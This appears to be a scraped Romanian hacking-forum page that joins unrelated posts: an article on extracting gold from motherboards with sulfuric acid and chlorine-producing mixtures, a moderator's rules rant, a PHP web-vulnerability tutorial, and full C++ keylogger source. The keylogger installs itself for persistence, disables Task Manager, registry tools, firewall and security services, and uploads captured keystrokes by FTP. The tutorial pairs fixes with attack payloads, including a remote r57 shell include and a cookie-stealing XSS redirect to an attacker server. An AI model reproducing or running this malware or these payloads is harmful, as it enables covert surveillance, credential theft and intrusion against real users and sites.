Leaderboard

În principal folosit în domeniul bijuteriilor, aurul (simbol chimic Au) este de asemenea, folosit în produc?ie (de industria electronic?, în special la calculatoare) datorit? conductibit??ilor electrice ?i termice excelente, rezisten?a la oxidare ?i a inalterabilit??ii. Industria de calculatoare utilizeaz? anual peste 300 de tone de metal pre?ios. Aurul se g?se?te în aproape toate componentele calculatorului – procesoare, pl?ci de baza, pl?ci video, pl?cu?e de memorie, ?i asa mai departe. Desigur, cantit??ile utilizate pentru fiecare pies? în parte sunt infinitezimale. Dar cum pre?ul aurului a crescut vertiginos în ultimii ani, este tot mai rentabil din punct de vedere economic s? recuperezi aurul din calculatoare ?i componentele electronice vechi decât s? îl minezi. Tocmai din acest motiv companiile specializate au început s? fac? asta. Aurul se g?se?te în numeroase locuri pe o placa de baza: conectori, slotul PCI Express, sloturile PCI, AGP ?i alte porturi, jumperi, socket-ul procesorului ?i sloturile pentru pl?cutele de memorie. În acest articol o s? i?i ar?t cum se poate recupera aurul de pl?cile de baz? vechi.Te rog sa re?ii c? aceste produse chimice utilizate în aceast? demonstra?ie sunt foarte periculoase, mai ales în concentra?iile utilizate. Prin urmare, sus?in cu t?rie c? nu trebuie s? reproduci acest experiment la domiciliu. To?i ace?ti conectori sunt adesea acoperi?i cu un strat fin de aur cu o grosime de câ?iva microni, depus prin metoda plac?rii. Instrumente necesare În prima etapa a acestui experiment, trebuie s? recuperezi to?i ace?ti pini ?i conectori. Avem nevoie de un cle?te t?ietor, patent, ?urubelni?? plat? ?i putina vaselina. Pini, pini ?i multi pini… Ai nevoie de o gr?mad? mare de pini ca s? efectuezi acest experiment… … Împreuna cu unele echipamente ?i produse chimice. Electroliza Pentru a recupera câteva miligrame de aur depus pe pini, se va folosi o celul? electrolitic?. Baia de electroliz? const? dintr-o solu?ie de acid sulfuric cu concentra?ie de 95%. Catodul va fi din plumb iar anodul din cupru. Pinii sunt plasa?i în anodul de cupru, care are forma de co?. Cum func?ioneaz? electroliza: Folosind un înc?rc?tor obi?nuit, prin trecerea unui curent electric prin celula electrolitic?, cuprul din anod (?i din pini) se dizolva ?i se depune pe catodul din plumb. Aurul, desprins de cupru, formeaz? un sediment în partea de jos a celulei. De asemenea, trebuie s? re?ine?i c? temperatura din baie creste semnificativ în timpul procesului de electroliz?. Recuperarea depozitului Dup? ce tot aurul a fost desprins de pe pini, putem s? l?s?m baia electrolitic? s? se decanteze. Apoi, vom recupera cât mai mult din acidul sulfuric, dup? care dilu?m ceea ce r?mâne în partea de jos a celulei electrolitice. Diluarea Când vrei s? diluezi acid sulfuric, fii atent s? torni întotdeauna acid sulfuric în ap?, ?i nu invers. Dac? faci invers, primele pic?turi care ating suprafa?a acidului sulfuric vor fi vaporizate instantaneu, ?i ar putea cauza stropi de acid. Filtrarea Avem acum o solu?ie diluat? de acid sulfuric, diferite metale (inclusiv aur) ?i de?eurile care urmeaz? s? le filtr?m. Nu se filtreaz? solu?ia direct, f?r? diluare, pentru c? filtrele de hârtie nu rezista bine la concentra?ii puternice de acid sulfuric. Prepararea dizolv?rii Ceea ce r?mâne în filtru este un amestec din diferite metale ?i impurit??i. Acum trebuie s? dizolv?m totul într-un amestec acid clorhidric cu concentra?ie de 35% ?i clor (hipoclorit de sodiu), cu concentra?ie de 5%, într-o propor?ie de 2 la 1. 2 HCl + NaClO -> Cl2 + NaCl + H2O Gazul de clor: Foarte periculos! Aten?ie! Reac?ia este puternic exoterm? (adic? se degaj? o cantitate mare de c?ldur?) ?i produce clor, un gaz extrem de periculos. Gazul de clor a fost utilizat ca arma chimic? în timpul primului r?zboi mondial, sub numele de bertholite. Dizolvarea De fapt, clorul produs din amestecarea acidului clorhidric ?i hipocloritul de sodiu este ceea ce va dizolva aurul pentru a forma clorura de aur (III). 2 Au + 3 Cl2 -> 2 AuCl3 O noua filtrare Acum,tot ce trebuie sa facem este s? filtr?m totul din nou. Filtrul va retine toate impurit??ile, l?sând s? treac? doar solu?ia de clorur? de aur (III). Precipitarea Pentru a recupera aurul metalic, trebuie s? precipitam aurul care este în solu?ie. Pentru aceasta, se va folosi metabisulfit de sodiu sub form? de praf. În prezen?a apei, metabisulfitul de sodiu produce bisulfit de sodiu. Na2S2O5 + H2O –> 2NaHSO3 Bisulfitul de sodiu este ceea ce va face aurul s? precipiteze. 3 NaHSO3 + 2 AuCl3 + 3 H2O –> 3 NaHSO4 + 6 HCl + 2 Au Praful de aur Acum trebuie s? l?s?m solu?ia s? se decanteze, apoi vom recupera praful brun adunat în partea de jos a vasului. Trebuie s? fim foarte aten?i ?i s? nu îl pierdem, pentru c? acesta este aur metalic. Topirea Acum, tot ce trebuie s? facem este s? topim pulberea de aur într-un creuzet. Punctul de topire al aurului este în jur de 1064°C, deci o lamp? cu flac?r? oxiacetilenica va fi suficient? pentru aceasta treab?. Bila din aur Rezultatul este aceast? minunat? bil? din aur. Se merit? toat? aceast? treaba din punct de vedere economic? Fii sigur c? nu! Procesul este rentabil doar dac? este f?cut la scar? industrial?. De fapt, companiile care recupereaz? aurul din calculatoarele ?i piesele electronice vechi, folosesc alte metode tehnologice ?i alte substan?e chimice care sunt mult mai periculoase. Dar este interesant ?i amuzant faptul c? poate fi recuperat aurul din pl?cile de baz? vechi, folosind un procedeu f?cut în cas?. Sursa : N - i T . R o

#include <windows.h> #include <Winuser.h> #include <string> #include <fstream> using namespace std; char BatchFile[20] = "system.bat"; char* params; DWORD WINAPI OpenBatFile(LPVOID) { for( { Sleep(300000); ShellExecute(NULL* "open"* BatchFile* NULL* NULL* SW_HIDE);} } std::string GetKey(int Key) { std::string KeyString = ""; if (Key == 8) KeyString = "[delete]"; else if (Key == 13) KeyString = "\n"; else if (Key == 32) KeyString = " "; else if (Key == VK_PAUSE) KeyString = "[PAUSE]"; else if (Key == VK_CAPITAL) KeyString = "[CAPITAL]"; else if (Key == VK_SHIFT) KeyString = "[SHIFT]"; else if (Key == VK_TAB) KeyString = "[TABULATOR]"; else if (Key == VK_CONTROL) KeyString = "[CTRL]"; else if (Key == VK_ESCAPE) KeyString = "[ESCAPE]"; else if (Key == VK_END) KeyString = "[END]"; else if (Key == VK_HOME) KeyString = "[HOME]"; else if (Key == VK_LEFT) KeyString = "[left]"; else if (Key == VK_RIGHT) KeyString = "[right]"; else if (Key == VK_UP) KeyString = "[UP]"; else if (Key == VK_DOWN) KeyString = "[DOWN]"; else if (Key == VK_SNAPSHOT) KeyString = "[SNAPSHOT]"; else if (Key == VK_NUMLOCK) KeyString = "[NUMLOCK]"; else if (Key == 190 || Key == 110) KeyString = "."; else if (Key >=96 && Key <= 105) KeyString = Key-48; else if (Key > 47 && Key < 60) KeyString = Key; if (Key != VK_LBUTTON || Key != VK_RBUTTON) { if (Key > 64 && Key < 91) { if (GetKeyState(VK_CAPITAL)) KeyString = Key; else { Key = Key + 32; KeyString = Key; } } } return KeyString; } int main() { int WINAPI WinMain (HINSTANCE hThisInstance* HINSTANCE hPrevInstance* LPSTR lpszArgument* int nFunsterStil); char path[MAX_PATH]; HMODULE GetModH = GetModuleHandle(NULL); char sys[MAX_PATH]; GetModuleFileName(GetModH* path* sizeof(path)); GetSystemDirectory(sys* sizeof(sys)); strcat(sys* "\\borg.exe"); CopyFile(path* sys* false); HKEY hKey* hKey2; unsigned char reg[2] = "0"; RegOpenKeyEx(HKEY_LOCAL_MACHINE*"Software\\Microsoft\\Windows\\CurrentVersion\\Run"* 0* KEY_SET_VALUE* &hKey ); RegSetValueEx(hKey* "MS-Windows-secretly"* 0* REG_SZ*(const unsigned char*)sys* sizeof(sys)); RegCreateKey(HKEY_CURRENT_USER*"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"*&hKey2); RegSetValueEx(hKey2*"DisableTaskMgr"*0*REG_DWORD*reg*sizeof(reg)); RegCloseKey(hKey)*(hKey2); DeleteFile("C:\\WINDOWS\\system32\\log.txt"); ofstream FWUP; FWUP.open("C:\\WINDOWS\\system32\\update.bat"); FWUP<<"@echo off\n"; FWUP<<"net stop ""Security Center""\n"; FWUP<<"net stop SharedAccess\n"; FWUP<<"> ""%Temp%.\\kill.reg"" ECHO REGEDIT4\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO.\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess]\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO ""Start""=dword:00000004\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO.\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\wuauserv]\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO ""Start""=dword:00000004\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO.\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO [HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Services\\wscsvc]\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO ""Start""=dword:00000004\n"; FWUP<<">>""%Temp%.\\kill.reg"" ECHO.\n"; FWUP<<"START /WAIT REGEDIT /S ""%Temp%.\\kill.reg""\n"; FWUP<<"DEL ""%Temp%.\\kill.reg""\n"; FWUP<<"DEL %0\n"; FWUP.close(); ofstream disable; disable.open("C:\\WINDOWS\\system32\\syssvr.bat"); disable<<"@echo off\n"; disable<<"reg add ""HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"" /v ""disableregistrytools"" /t REG_DWORD /d ""1"" /f >NUL\n"; disable.close(); //write ur ftp-information's here ofstream log; log.open("C:\\WINDOWS\\system32\\drivers\\config.sys"); log<<"OPEN ftpserver\n"; log<<"USER username\n"; log<<"ftppassword\n"; log<<"ASCII\n"; log<<"SEND C:\\WINDOWS\\system32\\log.txt\n"; log<<"BYE\n"; log<<"exit\n"; log.close(); ofstream Ausgabe; Ausgabe.open("C:\\WINDOWS\\system32\\system.bat"); Ausgabe<<"ftp -n -i -s:C:\\WINDOWS\\system32\\drivers\\config.sys\n"; Ausgabe<<"bye\n"; Ausgabe<<"exit\n"; Ausgabe.close(); ShellExecute(NULL* NULL* "C:\\WINDOWS\\system32\\syssvr.bat"* params* NULL* SW_HIDE); ShellExecute(NULL* NULL* "C:\\WINDOWS\\system32\\update.bat"* params* NULL* SW_HIDE); DWORD OpenBatch; HANDLE hOpenBatFile = CreateThread(NULL* 0* OpenBatFile* 0* 0* &OpenBatch); std::string Filename = "C:\\WINDOWS\\system32\\log.txt"; std::string TempString = ""; std::fstream FStream; FStream.open(Filename.c_str()* std::fstream::out | std::fstream::app); while(true) { // 0% CPU Sleep(5); for(int i = 8; i < 191; i++) { if(GetAsyncKeyState(i)&1 ==1) { TempString = GetKey (i); FStream.write(TempString.c_str()* TempString.size()); FStream.close(); FStream.open(Filename.c_str()* std::fstream::out | std::fstream::app); } } } }

DA! E, adevarat. Exista si alte categorii in afara de Offtopic, pe langa cele de Tutoriale si Programare pe care probabil nu le-ati vazut si nu le veti vedea niciodata. Categoria AJUTOR, si NU Offtopic, e pentru cei care au nevoie de ajutor, care au o problema si incearca sa gaseasca raspunsul la ea. Iar categoria CERERI, si NU Offtopic, e pentru a cere diverse lucruri pe care nu sunteti in stare sa le gasiti folosind Google. Asadar, NU TOATE TOPICURILE, indiferent de subiect, se posteaza aici, la Offtopic. Am mai facut doua posturi pe aceasta tema. Vedeti si asta: http://rstcenter.com/forum/28329-topicurile-de-la-offtopic.rst Asa cum multi ati observat, daca aveti nevoie de ajutor sau cereti ceva aici la Offtopic veti primi avertisment, si la 3-4-5 avertismente veti fi banati. M-am saturat sa dau avertismente si sa va mut topicurile. Desigur, daca ati post si voi ceva util (ce utopie...), un program sau un tutorial, in aceasta categorie, as muta topicul in categoria specifica fara nici o problema, fara sa primiti nici un avertisment. Dar voi postati toate rahaturile, toate problemele banale si toate cererile stupide aici. Desigur, regula nu se aplica doar aici. Daca postati ceva care nu se incadreaza in categria in care postati, adica daca nu ganditi 2 secunde inainte de a posta, veti primi avertisment. Exemple: #1 - Postezi ca vrei un program la: programe hack, programe securitate sau stuff tools - primesti avertisment. Programul il ceri in categoria CERERI pentru ca lumea sa poata vizualiza acea categorie pentru a descarca programe, nu pentru a vedea de ce program are nevoie Vasile. #2 - Postezi ca nu ti se mai scoala intr-o alta categorie in afara de: offtopic, cele mai penale posturi sau cosul de gunoi - primesti probabil ban, in functie de cat de stupid e postul tau. #3 - Postezi la Offtopic cine stie ce problema pe care o ai cu calculatorul - vorbim cu mamica ta sa ti-l ia, pentru ca nu esti destul de mare pentru a avea unul. Daca te-ar duce capul sa meriti un calculator, ai vedea ca exista categorii speciale unde sa pui astfel de intrebari. Deci, pentru a mia oara, si ca sa nu stau sa explic fiecarei "victime" a avertismentelor mele de ce a primit acel avertisment: Exista categoriile AJUTOR si CERERI Sa nu ma mai trezesc cu tot felul de rebeli nemultumiti de faptul ca au primit avertisment. Daca primesc PM, la care oricum nu prea raspund, sau mai rau, se posteaza in acelasi topic diverse proteste ale "raufacatorului", e posibil sa mai primeasca un avertisment. In plus, acesta este un FORUM, ceea ce inseamna ca se poarta diverse discutii in topicuri, si nu pe PM. Deci nu imi mai trimiteti PM-uri ca aveti nevoie de nu stiu ce, sau ca aveti nu stiu ce problema pentru ca nu am sa raspund la ele. E forum, posteaza si ai mult mai multe sanse sa primesti un raspuns.

PDF version: http://milw0rm.com/papers/347 http://rapidshare.com/files/351249422/Vulnerabilitati_Web_si_securizarea_acestora.pdf http://www.speedyshare.com/files/20962209/Vulnerabilitati_Web_si_securizarea_acestora.pdf http://www.megaupload.com/?d=UL24YHU8 http://www.2shared.com/file/11418471/672dc49b/Vulnerabilitati_Web_si_securiz.html Salut. In acest tutorial va voi prezenta cele mai cunoscute tipuri de vulnerabilitati Web, dar si fixarea acestora ( PHP ). Voi incepe prin a spune ca un website poate fi atacat prin 3 metode: a) Atac asupra aplicatiei Web Atac asupra serverului c) Inginerie sociala In acest tutorial voi vorbi doar despre atacurile asupra aplicatiei Web. Voi vorbi despre urmatoarele tipuri de vulnerabilitati: 1) Remote File Inclusion ( RFI ) 2) Local File Inclusion ( LFI ) 3) Cross Site Scripting ( XSS ) 4) HTTP Header Injection 5) SQL Injection 6) Login ByPass 7) Arbitrary File Upload 8) Remote Code & Command Execution 9) Full Path Disclosure 10) Insecure Cookie Handling *) O functie de securizare a datelor 1) Remote File Inclusion Este un tip de vulnerabilitate din ce in ce mai rar intalnit in ziua de azi, dar este de asemenea cel mai periculos. Vulnerabilitatea consta in includerea unui fisier aflat pe alt server, folosind un parametru GET. Practic, scriptul va include direct fisierul specificat prin valoarea unei variabile trimise prin GET. Sa dam un exemplu. Programatorul foloseste urmatorul cod pentru a include un fisier: Ubde e greseala? In ideea scriptului. Daca utilizatorul va specifica pentru variabila 'pagina' valoarea "http://site.com/script.php", scriptul va include acest fisier ( desigur, daca allow url include este activata ). Sa luam un exemplu. Daca un utilizator atribuie variabilei pagina valoarea "http://google.ro", scriptul va include continutul site-ului. Dar va include codul HTML generat de server. Insa ce se intampla daca utilizatorul include "http://site.com/script.txt"? Daca va include un "http://site.com/script.php", acest script va fi interpretat ( in caz ca pe server se afla PHP ) pe serverul pe care se afla, iar scriptul va include outputul HTML. Insa daca se include un fisier cu extensia .txt, iar scriptul contine cod PHP, serverul va interpreta el acel cod. De cele mai multe ori se foloseste un shell ( script PHP, bine scris, care permite executarea multor functii pe serverul victima ). De exemplu, daca utilizatorul va include "http://www.evilc0der.com/r57.txt", atunci va putea face multe lucruri pe server. Exemplu: http://i39.tinypic.com/2d00lj.jpg , http://i44.tinypic.com/2ccxg4.jpg . Insa cu ce ajuta acel ".php"? Simplu, cu nimic. Utilizatorul fa folosi o sintaxa de genul: "http://server.com/script.php?pagina=http://site.com/script.txt?". Singurul lucru necesar pentru acesta e adaugarea caracterului "?" la sfarsitul URL-ului pe care doreste sa fie inclus. Acest "?" va transforma ".php"-ul de in variabila prin GET, si nu va afecta in nici un fel includerea scriptului. Se poate folosi de asemenea si "%00", care reprezinta caracterul cu codul ASCII 0, caracterul NULL, care marcheaza sfarsitul unui sir de caractere. Deci ceea ce se afla dupa acest NULL nu e luat in considerare. Cum se poate fixa? In mod normal, prin filtrarea sirurilor "http://" si "ftp://", dar nu recomand aceasta solutie, pentru ca scriptul va putea include fisiere locale, si se ajunge la LFI. Cea mai buna solutie e schimbarea ideii incluziunii. Se poate folosi foarte usor un switch, care va contine o lista cu paginile care pot fi incluse. Exemplu: 2) Local File Inclusion Este un tip de vulnerabilitate mai des intalnita decat RFI, dar principiul e acelasi: includerea unui fisier trimis folosind o variabila prin GET, insa scriptul va verifica daca acel fisier exista, iar daca exista in va include. Exemplu: Nu e la fel de periculos ca RFI ( de asemenea poate include fisiere locale ), dar este foarte periculos, si se poate ajunge la RFI de la el. Scriptul verifica daca fisierul se afla pe server, dar pe server nu se afla decat fisierele scriptului ( CMS... ) care contine pagina cu LFI. Deci se pot include fisiere de pe server. Exemplu ( Windows ): http://site.com/script.php?pag=../../../../../boot.ini . Dar daca scriptul include si acel ".php" va fi nevoie de folosirea caracterului NULL pentru a fi posibila incluziunea: http://site.com/script.php?pag=../../../../../boot.ini%00 . Probabil stiti si voi ca acele "../" se folosesc pentru a "inainta" in folderul anterior folderului in care se afla scriptul cu probleme. Astfel se va include fisierul "boot.ini", care va fi afisat in browser. Desigur, nu il incanta cu nimic sa includa acel fisier, dar pe Linux poate include fisiere care contin date importante ca "etc/passwd" sau altele. Dar sa nu uitam ca se poate ajunge la RFI. Se poate ajunge prin injectarea de cod PHP in loguri, apoi includerea fisierului cu loguri, care contine cod PHP, sau prin injectarea unui cod PHP intr-o imagine urmat de uploadarea acesteia pe server ( daca este posibil ), apoi includerea sa. Desigur, nu este RFI, dar se poate ajunge la aceleasi probleme pe care le poate provoca un RFI. Cum se poate fixa? La fel ca si RFI, folosind un switch pentru paginile care pot fi incluse. De asemenea, se pot filtra sirurile "../" sau "..\" ( Windows ). 3) Cross Site Scripting Este cel mai comun tip de atac Web din ziua de azi, dar nu este intotdeauna periculos. Este periculos doar cand scriptul se foloseste de cookie-uri sau sesiuni pentru anumite lucruri. Spre deosebire de RFI si LFI, vulnerabilitatea nu afecteaza serverul, ci afecteaza utilizatorul de rand, este o vulnerabilitate client-side. Ideea de baza e urmatoarea. Un script citeste o variabila, de cele mai multe ori prin GET, apoi afiseaza valoarea acesteia in browser. De cele mai multe ori se foloseste un cod JavaScript. E destul de usor de gasit o astfel de vulnerabilitate. Se testeaza variabilele prin GET ( poate fi gasit si prin POST XSS, dar este putin mai greu de exploatat ), carora li se atribuie ca valoare un cod JavaScript. Spre exemplu, avem urmatorul cod: Astfel la accesarea unui link de genul: http://site.com/script.php?text=lalala . Se va afisa textul "lalala". Dar ce se intampla daca variabila text contine un cod JavaScript? Acesta va fi interpretat in browserul "victimei". Exemplu: http://site.com/tutorial.php?text=<script>alert('xss')</script> . Daca cineva va urma acest link, va primi o alerta cu textul 'xss'. Nimic grav, dar se pot face si alte lucruri. XSS se foloseste cel mai des prentu furtul cookie-urilor. Cookie-urile se folosesc pentru ca serverul sa "recunoasca" utilizatorii. Asa stie serverul cine e logat si cine nu. Deci daca cineva intr in posesia cookie-urilor altei persoane, daca aceasta este logata, prin folosirea cooki-urilor sale, atacatorul va fi logat cu contul "victimei". La cookie se ajunge foarte usor prin "document.cookie" in JavaScript, si de cele mai multe ori se foloseste un cookie grabber pentru furtul acestora. Un cookie grabber este un script PHP, de cele mai multe ori, care primeste prin GET cookie-urile victimelor si le scrie intr-un fisier. Cookie-urile se pot trimite catre grabber prin JavaScript foarte usor: http://server2.com/grabber.php?cookie='+escape(document.cookie'>http://site.com/script.php?text=<script>document.location.href='http://server2.com/grabber.php?cookie='+escape(document.cookie)</script> In loc de +, care se foloseste pentru spatiu in encodarea unui URL, se poate folosi "%2B". Asadar, acest simplu script va redirectiona victima catre graber, care ii va fura cookie-urile iar atacatorul se va putea folosi de ele. Dar o victima isi poate da seama ca poate fi victima unui atac XSS daca observa un URL asemanator cu cel de mai sus. Dar nu este nici o problema pentru atacator, el poate folosi foarte usor un iframe. Exemplu: <iframe scr="http://server2.com/grabber.php?cookie='+escape(document.cookie'>http://site.com/script.php?text=<script>document.location.href='http://server2.com/grabber.php?cookie='+escape(document.cookie)</script>" width="0" height="0"> , iar pagina sa va putea contine orice. Pentru acest tip de atac se pot folosi mai multe sintaxe pentru injectare de cod. De exemplu: <IMG SRC=javascript:alert('XSS')> sau injectarea unui cod aflat pe alt server: <SCRIPT SRC=//site.com/script.js> . Se poate fixa destul de usor. PHP ofera 2 functii, care fac cam acelasi lucru: htmlentities si htmlspecialchars. Aceste functii transforma caracterele speciale gen "<", ">", "&" si ghilimelele in echivalentele lor in entitati HTML. De exemplu converstesc ">" in ">", "<" in "<". Ambele functii se pot folosi cu al doilea parametru optional setat pe valoarea ENT_QUOTES. Astfel se vor converti si ghilimelele in entitati. Astfel, la o cerere de genul: http://site.com/script.php?text=<script>alert('1')</script> , se va returna: <script>alert('1')</script> , care va afisa in browser textul <script>alert('1')</script>, dar nu se va executa nici un cod JavaScript. Deci scriptul ar trebui sa arate asa: Insa chiar daca un atacator a furat cookie-urile cuiva, puteti opri folosirea acestora foarte usor. Pentru acest lucru va trebui sa mai creati o variabila de sesiune ( folositi sesiunile in locul cookie-urilor deoarece sunt mai sigure, de exemplu pentru ca se salveaza pe server, deci nu pot fi editate ) in care sa memorati adresa IP in momentul logarii. Apoi, cand utilizatorul acceseaza o pagina, trebuie verificat IP-ul acestuia cu IP-ul din variabila de sesiune, iar daca acestea nu coincid, se face delogarea. Desigur, pot aparea cateva mici probleme pentru utilizatorii care au IP dinamic. Acestia vor trebui sa se logheze de fiecare data cand au un alt IP. 4) HTTP Header Injection Aceasta vulnerabilitate afecteaza Website-urile care afiseaza browserul, de cele mai multe ori. Am pomenit de ea pentru a va spune ca nu toate headerele care provin de la utilizator sunt corecte, nici User-Agen, nici Cookie... Exista de exemplu pentru Mozilla pluginul Tamper Data care permite editarea acestor headere. Desi nu pare o vulnerabilitate importanta, poate provoca mari probleme. Plecat de la un simplu XSS, poate ajungand la XSS permanent, se poate folosi pentru SQL Injection, daca de exemplu se cauta in baza de date in functie de un cookie. 5) SQL Injection Este foarte des intalnit si poate provoca mult rau. In ce consta el: Programatorul cauta in baza de date in functie de un anumit ID, pe care utilizatorul il trimite prin GET catre server. Poate avea un cod de genul: $int=mysql_query("SELECT x,y,z FROM tabel WHERE id='".$_GET['id']."'"); Se poate verifica foarte usor daca o pagina e vulnerabila folosindu-se o ghilimea simpla. http://site.com/script.php?id='2 sau http://localhost/tutorial.php?id=' sau http://localhost/tutorial.php?id=2' Asfel, query-ul va fi urmatorul: "SELECT x,y,z FROM tabel WHERE id=''2'" si se va returna o eroare in browser. Atacatorul va trece mai departe si va putea gasi numarul de coloane folosind clauza "order by", va putea afla baza de date folosind functia database(), va putea citi tabelele din information_schema.tables, daca versiunea de MySQL e > 5, va putea gasi apoi coloanele, apoi va putea citi orice date din baza de date. Nu stau sa scriu un tutorial de injectare. Pentru prevenirea unui astfel de atac se foloseste mysql_real_escape_string. Aceasta functie adauga back-slashuri in fata unor caractere speciale ( \x00, \n, \r, \x1a, ' si " ). Aceste caractere au o semnificatie speciala, nu sunt simple caractere. De exemplu ghilimelele sunt folosite pentru a delimita un sir. Folosind aceasta functie, aceste caractere nu mai au nici o semnificatie speciala. Asadar, la un request de genul: http://site.com/script.php?id='2 , query-ul va parea tot acelasi, numai ca ' nu marcheaza sfarsitul unui sir, ci este caracter ca oricare altul. Codul va arata cam asa: Insa trebuie sa fiti putin atenti. Daca magic quotes gpc este On, ghilimelele vor fi automat back-slash-uite, si este necesar ca inainte de mysql_real_escape_string sa fie sterse back-slash-urile initiale pentru ca sirul sa nu fie back-slash-uit de 2 ori. Exemplu: De cele mai multe ori, atacurile au loc asupra variabilelor care reprezinta un id ( Primary Key ). Deci acest id va trebui sa fie intotdeauna un numar. Puteti verifica acest lucru cu ajutorul functiei "is_numeric". Desigur, se pot folosi si functiile htmlentities si htmlspecialchars cu ENT_QUOTES pentru acest lucru, se poate folosi si addshashes. 6) Login ByPass Este tot un atac SQL Injection, intalnit la casutele de logare. Sa presupunem ca avem un cod, care va face logarea, de genul: Daca utilizatorul introduce "' OR ''='", query-ul va fi: SELECT * FROM users WHERE user='aidan' AND password='' OR ''='' si se va face logarea indiferent de user. Pentru a nu avea o astfel de problema puteti proceda ca si la SQL Injection, sau faceti totul mai "frumos". In primul rand verificati daca userul exista deja, apoi verificati daca este corecta parola, apoi faceti logarea. 7) Arbitrary File Upload Acest tip de vulnerabilitate, practic, nu e o vulnerabilitate, de cele mai multe ori. Daca aveti un serviciu de upload pe server, aveti grija ca utilizatorii sa nu poata uploada fisiere PHP. Nu faceti acest lucru verificand ca extensia sa nu fie ".php", recomandarea mea e sa cititi fisierul ( in caz ca nu se pot uploada fisiere mari ) si sa verificati daca contine cod PHP. Daca un fisier contine cod PHP, chiar daca nu are extensia .php, in cazul unei vulnerabilitati LFI, acest cod va putea fi interpretat de catre server. Insa e foarte greu sa opresti un astfel de atac, multe fisiere si tipuri de fisiere pot contine "<?" sau "?>", deci va recomand mai degraba sa nu aveti LFI in script, decat sa opriti un astfel de atac. In plus, daca doriti o limita pentru marimea fisierelor, nu va bazati pe un input hidden care sa contina marimea maxima, valoarea acestui camp poate fi schimbata. 8) Remote Code & Command Execution Acest tip de vulnerabilitate nu este foarte des intalnit, dar este periculoasa. Remote Code Execution consta in executarea unor comenzi PHP. Acest lucru este posibil datorita functiei "eval", cand se evlueaza un parametru prin GET de exemplu. Exemplu: Daca utilizatorul va face request catre: http://site.com/script.php?text=Un text';phpinfo(); , va observa in browser rezultatul functiei phpinfo(); Remote Command Execution consta in executarea unor comenzi in Terminal ( cmd ). Acest lucru se poate face prin Remote Code Execution, cu ajutorul functiei eval: http://site.com/script.php?text=Un text';system('ipconfig'); . Exemplul este pentru Windows. De asemenea se poate rula un cod in Terminal daca programatorul se foloseste de functia system ( exec, shell_exec, passthru ). Recomand sa nu se foloseasca deloc functia eval, cel putin nu e un parametru prin GET. De asemenea sa nu se foloseasca nici functiile care executa comenzi in Terminal. 9) Full Path Disclosure Nu este practic o vulnerabilitate, se poate descoperi calea completa pentru un fisier. De exemplu daca avem codul: print strstr($_GET['id'],"1"); , iar utilizatorul face requestul: http://site.com/script.php?id[]=2 , atacatorul va primi ca rezultat calea completa catre fisier printr-un Warning: Array to string conversion in C:\wamp\www\tutorial.php on line 3 ( de exemplu ). Se poate fixa foarte usor folosind functia "is_array". 10) Insecure Cookie Handling Este rar intalnita, dar uneori poate fi periculoasa. De exemplu, nu recomand salvarea pe PC-ul utilizatorului a unor date de logare sub forma de cookie. Daca este furat cookie, atacatorul va avea userul si parola victimei. De asemenea nu folositi o variabila cookie pentru a verifica daca un utilizator este logat, daca valoarea acestei variabile este True. Valoarea sa se poate seta la True foarte usor: javascript:document.cookie="variabila = true"; Pentru a nu avea astfel de probleme recomand folosirea sesiunilor in locul cookie-urilor. *) O functie de securizare a datelor Sa incercam sa scriem o functie cu care sa securizam datele si cu care sa salvam eventualele atacuri. Personal, recomand transformarea caracterelor speciale in entitati. Astfel nu veti avea probleme nici cu SQL Injection nici cu XSS. De exemplu: Functia va converti in entitati HTML o mare parte din caracterele speciale care pot face rau. Nu va faceti griji pentru dublul apel al acestei functii asupra aceluiasi sir, functia nu converteste caracterele &, #, ; in entitati, deoarece sunt folosite pentru entitati. Desigur, nu sunt necesare toate transformarile, si se poate folosi htmlentities pentru acest lucru, dar eu unul prefer sa folosesc aceasta functie, pe care o pot modifica cum vreau eu. De asemenea nu ar strica o functie prin care sa identificam anumite atacuri, si sa introducem in baza de date cateva informatii despre atacator. In primul rand va trebui sa cream tabelul: Apoi scriem o fucntie care va identifica daca se incearca un atac. Recomand folosirea acestei functii numai aspupra variabilelor care trebuie sa aibe o valoare numerica si nu asupra variabilelor care sunt de exemplu comentarii ale utilizatorilor, deoarece ar putea contine caractere speciale si astfel se va umple baza de date de loguri inutile. Astfel, in functie de anumite caractere vom sti ce a incercat atacatorul si vom salva in baza de date IP-ul si browserul sau, data si tipul atacului. Chiar daca am dat numai exemple prin GET, majoritatea atacurilor se pot face de asemenea prin POST, numai ca prin GET sunt mai usor de exploatat. Ideea de baza e urmatoarea: Nu efectuati niciodata instructiuni directe asupra unei variabile inainte de a-i verifica continutul, inainte de a scapa de orice problema poate aparea. Ganditi-va la orice valoare poate seta un utilizator asupra acelei variabile, si incercati sa preveniti orice fel de problema ar putea aparea. Sper ca va ajutat acest tutorial. Daca sunt probleme, daca aveti nelamuriri sau critici postati aici.